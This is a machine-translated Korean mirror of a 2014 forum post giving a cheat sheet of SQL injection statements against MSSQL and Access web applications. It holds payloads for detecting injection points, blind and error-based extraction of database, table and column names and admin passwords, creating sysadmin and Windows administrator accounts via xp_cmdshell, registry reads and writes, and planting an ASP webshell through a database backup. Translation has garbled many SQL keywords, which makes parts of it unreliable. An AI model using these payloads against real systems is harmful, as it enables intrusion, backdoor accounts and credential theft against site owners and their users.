이 글은 기계 번역의 미러 문서이며, 원본 기사로 바로 이동하려면 여기를 클릭해 주세요.

보기: 14167|회답: 0

[안전한 소통] SQL 주입 공통 문장

[링크 복사]
게시됨 2014. 11. 22. 오후 5:17:21 | | |
1. 주입이 있는지 확인한다
; 그리고 1=1
; 그리고 1=2

2. MSSQL인지 여부에 대한 예비 판단
; 그리고 사용자>0

3. 데이터베이스 시스템 심사
; 그리고 (sysObjects에서 count(*) 선택 ) >0 MSSQL
; 그리고 (msysobjects에서 count(*) 선택)>0 접근

4. 주입 매개변수는 문자입니다
'그리고 [쿼리 기준] 그리고 ''=''

5. 검색 중에 필터링된 매개변수가 없다
'그리고 [쿼리 기준] 및 '%25'='

6. 테이블 이름을 맞혀
; 그리고 ([테이블 이름]에서 Count(*)를 선택)>0

7. 필드를 추측하기
; 그리고 (테이블 이름에서 Count(필드 이름) 선택)>0

8. 필드에서 기록의 길이를 추측하기
; 그리고 (테이블 이름에서 상위 1개의 len(필드 이름) 선택)>0

9. (1) 필드의 ASCII 값을 추측하기 (접근)
; 그리고 (테이블 이름에서 상위 1개의 상승 중간(필드 이름, 1,1)을 선택)>0

(2) 필드(mssql)의 ASCII 값을 추측하기.
; 그리고 (테이블 이름에서 상위 1개의 Unicode(substring(field name,1,1)) 선택)>0

10. 테스트 권한 구조 (mssql)
; 그리고 1=(선택 IS_SRVROLEMEMBER('sysadmin')); --
; 그리고 1=(선택IS_SRVROLEMEMBER('서버관리자')); --
; 그리고 1=(선택 IS_SRVROLEMEMBER('setupadmin')); --
; 그리고 1=(선택 IS_SRVROLEMEMBER('securityadmin')); --
; 그리고 1=(IS_SRVROLEMEMBER('디스크관리자' 선택 포함)); --
; 그리고 1=(선택IS_SRVROLEMEMBER('bulkadmin')); --
; 그리고 1=(선택 IS_MEMBER('db_owner')); --

11. mssql과 시스템에 대한 계정 추가
; 임원 master.dbo.sp_addlogin 사용자 이름; --
; exec master.dbo.sp_password null, username, password; --
; exec master.dbo.sp_addsrvrolemember sysadmin 사용자 이름; --
; exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add'; --
; exec master.dbo.xp_cmdshell 'net user username password /add'; --
; exec master.dbo.xp_cmdshell 'net localgroup administrators username /add'; --

12. (1) 카탈로그를 횡단
; 테이블 디렉터리 만들기(paths varchar(100), id int)
; 'C:\' master.dbo.xp_dirtree 삽입
; 그리고 (DIR에서 상위 1개 경로를 선택)>0
; 그리고 (dir에서 경로가 아닌 곳에서 상위 1개 경로를 선택하세요. 경로가 ('이전 단계에서 얻은 경로'))>)

(2) 카탈로그를 탐색하기
; 테이블 임시 생성(ID Nvarchar(255), num1 nvarchar(255), num2 nvarchar(255), num3 nvarchar(255)); --
; 임시 임원 master.dbo.xp_availablemedia 삽입; -- 모든 현재 드라이브 확보
; 'c:\'를 temp(id) exec master.dbo.xp_subdirs에 삽입; -- 하위 디렉터리 목록을 받으세요
; temp(id,num1) exec master.dbo.xp_dirtree 'c:\'를 삽입합니다; -- 모든 서브디렉토리의 디렉터리 트리 구조를 얻습니다
; temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp'을 삽입; -- 파일 내용 보기

13. msSQL의 저장 프로시저
xp_regenumvalues 레지스트리 루트 키, 자식 키
; exec xp_regenumvalues 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run'은 여러 레코드 세트의 모든 키 값을 반환합니다
xp_regread 루트 키, 자식 키, 키-값 이름
; exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir'는 설정 키의 값을 반환합니다
xp_regwrite 루트 키, 자식 키, 값 이름, 값 타입, 값
값 유형에는 두 가지 유형이 있습니다: 문자 유형과 정수에 대해 REG_SZ REG_DWORD
; exec xp_regwrite 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion', 'TestvalueName', 'reg_sz', 'hello'를 레지스트리에 입력
xp_regdeletevalue 루트 키, 서브키, 값 이름
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion', 'TestvalueName'을 사용하여 값을 제거한다
'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey'를 xp_regdeletekey 키와 해당 키의 모든 값을 제거하기

14. MSSQL 백업이 웹셸을 생성합니다
모델 사용
create table cmd(str image);
cmd(str) 값에 삽입 ('<% Dim oScript %>');
디스크로 백업 데이터베이스 모델='C:\l.asp';

15. MSSQL 내장 함수
; 그리고 (@@version)>0을 선택하여 Windows 버전 번호를 얻습니다
; 그리고 user_name()='dbo'를 사용하여 현재 시스템의 연결된 사용자가 SA인지 판단합니다
; 그리고 (선택 user_name())>0 현재 시스템의 연결된 사용자들을 폭발시켰습니다
; 그리고 (db_name())>0을 선택하여 현재 연결된 데이터베이스를 얻습니다



MSSQL 수동 주석 데이터베이스 위반

1. 현재 테이블 이름과 열명 노출
주입점 뒤에 "'having 1=1--"를 입력하면 테이블 이름과 컬럼 이름이 보이는 영어 반환 메시지를 받을 수 있습니다. "list name by group with the list with with with 1=1--"를 제출하면 다른 열 이름을 얻으세요; "노출된 테이블 이름의 목록으로 그룹화"를 계속 제출하세요. 두 번째 열의 이름은 1=1--"이며, 이는 또 다른 열의 이름을 제공합니다. 페이지가 더 이상 오류 메시지를 반환하지 않을 때까지 같은 방식으로 커밋하여 모든 열명을 얻으세요. 트리비아: VIOLENT 테이블 이름과 컬럼 이름은 SQL 문에서 GROUP BY와 함께 사용되어 조건부 판단을 합니다. 문장이 불완전하기 때문에 데이터베이스는 오류 메시지를 반환하고 테이블 이름과 열명을 표시합니다. 기본 메서드는 데이터베이스 내 현재 테이블만 노출할 수 있으며, 테이블에 열명이 많으면 기본 메서드를 사용하는 것이 매우 어렵습니다.

첫째. 모든 데이터베이스 이름이 노출됩니다
"and 0<>(master.dbo.sysdatabases 에서 count(*) 선택, 여기서 name>1 and dbid=[N])"라는 문장을 사용하여 데이터베이스 내 임의의 테이블 이름과 열 이름을 노출시키고, 여기서 "[N]"은 데이터베이스 내 N번째 테이블을 나타냅니다.
1단계: 포인트를 주입한 후 다음 문장을 제출하세요: "and 0<>(master.dbo.sysdatabases 에서 count(*) 선택, 여기서 name>1 and dbid=12)", 왜냐하면 dbid의 값이 1부터 5까지이기 때문에 시스템이 사용하는 값이므로, 사용자가 6에서 생성한 값이어야 하고 이름을 제출했기 때문입니다>1, 이름 필드가 문자 유형 필드이며, 숫자 비교가 잘못되어 제출 후 IE는 다음 정보를 반환합니다: "Microsoft OLE DB Provider for ODBC Drivers 오류 ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server]가 nvarchar 값 'Northwind'를 데이터 타입 int로 변환함 칼럼. 이렇게 하면 이름 필드의 값이 노출되어, 데이터베이스 이름이 "Northwind"가 됩니다. "dbid" 값을 바꾸면 모든 데이터베이스 이름을 얻을 수 있습니다.

그리고 0<>(master.dbo.sysdatabases에서 count(*) 선택, 여기서 name>1 and dbid=[N]) -- N을 수정하여 6에서 모든 데이터베이스 이름을 폭발적으로 제거함


둘째. 지정된 데이터베이스 내 모든 테이블 이름을 노출하세요
데이터베이스 이름을 얻은 후에는 라이브러리 내 모든 테이블 이름을 얻고, 다음 문장을 제출해야 합니다: "and 0<>(master.dbo.sysobjects 중 xtype='U'에서 상위 1개 이름을 선택하세요)", 여기 마스터 데이터베이스의 테이블 이름이 있고, 쿼리의 SQL 문은 이름값으로 반환한 후 숫자 0과 비교하여 이름 값을 노출시킵니다. 제출 후 테이블 이름이 "spt_monito"로 공개되었습니다.
그 후 다른 테이블들이 노출되고 다음 문이 제출됩니다: "and 0<>(master.dbo.sysobjects 중 xtype='U' and name not in('spt_monito'))에서 상위 1개 이름을 선택", 그리고 "cd512"라는 또 다른 테이블이 노출됩니다. 파일 "그리고 이름이 (' spt_monito', ' CD512',..))에 들어가지 않음" 테이블 이름은 모두 확인할 수 있습니다.

그리고 0<>([데이터베이스 이름 지정].dbo.sysobjects 중 상위 1개의 이름을 선택하며, 여기서 xtype='U')--
그리고 0<>([데이터베이스 이름 지정].dbo.sysobjects에서 상위 1개의 이름을 선택하고, xtype='U' 그리고 name이 ('[expploded table name]'))에 없다'--
그리고 0<>([데이터베이스 이름 지정].dbo.sysobjects 중에서 상위 1개의 이름을 선택하며, xtype='U' 그리고 이름이 ('[폭발 테이블 이름]', '[Exploded 두 번째 테이블 이름]'))에 없음을 선택한다)--

4. 지정된 테이블의 모든 열명 노출
그리고 0<>(bbs.dbo.sysobjects 중 xtype='U' 및 name='admin' 및 uid>(str(id)))에서 count(*) 선택함)
ID 값을 문자 타입으로 변환한 후 정수 값과 비교하세요. 신분증 번호가 나왔어. 값은 다음과 같습니다: 949578421 이름='테이블 이름'

그리고 0<>(wutong.dbo.syscolumns에서 id=949578421에서 상위 1개의 이름을 선택)-- 관리자 테이블의 필드 이름이 노출됩니다

재제출하고 0<>(id=949578421 이름이 없는 wutong.dbo.syscolumns에서 상위 1개의 이름을 선택하세요('adduser'))--
파일 "그리고 이름이 (' spt_monito', ' CD512',..))에 들어가지 않음" 모든 필드 이름은 관리자 테이블에서 찾을 수 있습니다.


그리고 0<>([데이터베이스 명명].dbo.sysobjects 중에서 count(*) 선택 여기서 xtype='U' 및 name='[폭발할 필드의 테이블 이름]' 그리고 uid>(str(id)))--폭발할 필드 테이블 이름의 ID 값

그리고 0<>([데이터베이스 이름 지정].dbo.syscolumns에서 상위 1개의 이름을 선택하며, id=exploded id 값)-- exploding id value 테이블에 있는 필드의 이름

그리고 0<>([데이터베이스 이름 지정].dbo.syscolumns에서 상위 1개의 이름을 선택하며, id=폭발적 ID 값과 이름이 ('[Exploded field name]')에 없다'))--



5. 지정된 테이블의 데이터를 읽습니다

그리고 0<(wutong.dbo.admin에서 A_ID 선택 중 A_UserID>1) — A_PWD를 깨뜨린 내용

그리고 0<([데이터베이스 이름 지정].dbo.[table name to query]에서 [존재하는 필드]를 선택하며, 여기서 [필드 이름 to explode content]>1)--

그리고 0<(wutong.dbo.admin에서 A_ID 선택 A_PWD>1 및 A_UserID='admin') -- 관리자의 비밀번호가 노출됩니다


그리고 0<(관리자 A_UserID에서 상위 1 선택, 여기서 A_ID<>1)-- id<>1의 관리자 이름(fuhao)

그리고 0<(관리자 A_UserID에서 상위 1 선택 A_ID <>1과 A_UserID <> 'fuhao') -- 두 번째 관리자 이름은 (tuiguang)과 같지 않<>

그리고 0<(관리자에서 A_UserID 상위 1을 선택하며, A_ID <>1과 A_UserID <> 'fuhao', A_UserID <> 'tuiguang')--

데이터베이스의 테이블 이름과 열명을 알게 된 후에는 "쿼리 문"을 사용해 데이터베이스 내 모든 정보를 읽을 수 있습니다. 예를 들어, 테이블의 열에서 N번째 데이터를 읽고 싶다면, 다음과 같은 문장을 제출할 수 있습니다: "그리고 (테이블 이름에서 상위 1열 이름을 선택, id=[N])>1" ([N]는 열의 N번째 데이터를 나타냅니다). 그리고 IE가 반환하는 정보로 원하는 데이터를 알 수 있습니다.






이전의:압축된 rar 파일을 jpg 파일에서 숨기는 방법
다음:"해리 포터" 1~7 수집하세요. 꺼내서 공유하세요. 마음에 안 들면 뿌리지 마세요.
면책 조항:
Code Farmer Network에서 발행하는 모든 소프트웨어, 프로그래밍 자료 또는 기사는 학습 및 연구 목적으로만 사용됩니다; 위 내용은 상업적 또는 불법적인 목적으로 사용되지 않으며, 그렇지 않으면 모든 책임이 사용자에게 부담됩니다. 이 사이트의 정보는 인터넷에서 가져온 것이며, 저작권 분쟁은 이 사이트와는 관련이 없습니다. 위 내용은 다운로드 후 24시간 이내에 컴퓨터에서 완전히 삭제해야 합니다. 프로그램이 마음에 드신다면, 진짜 소프트웨어를 지원하고, 등록을 구매하며, 더 나은 진짜 서비스를 받아주세요. 침해가 있을 경우 이메일로 연락해 주시기 바랍니다.

Mail To:help@itsvse.com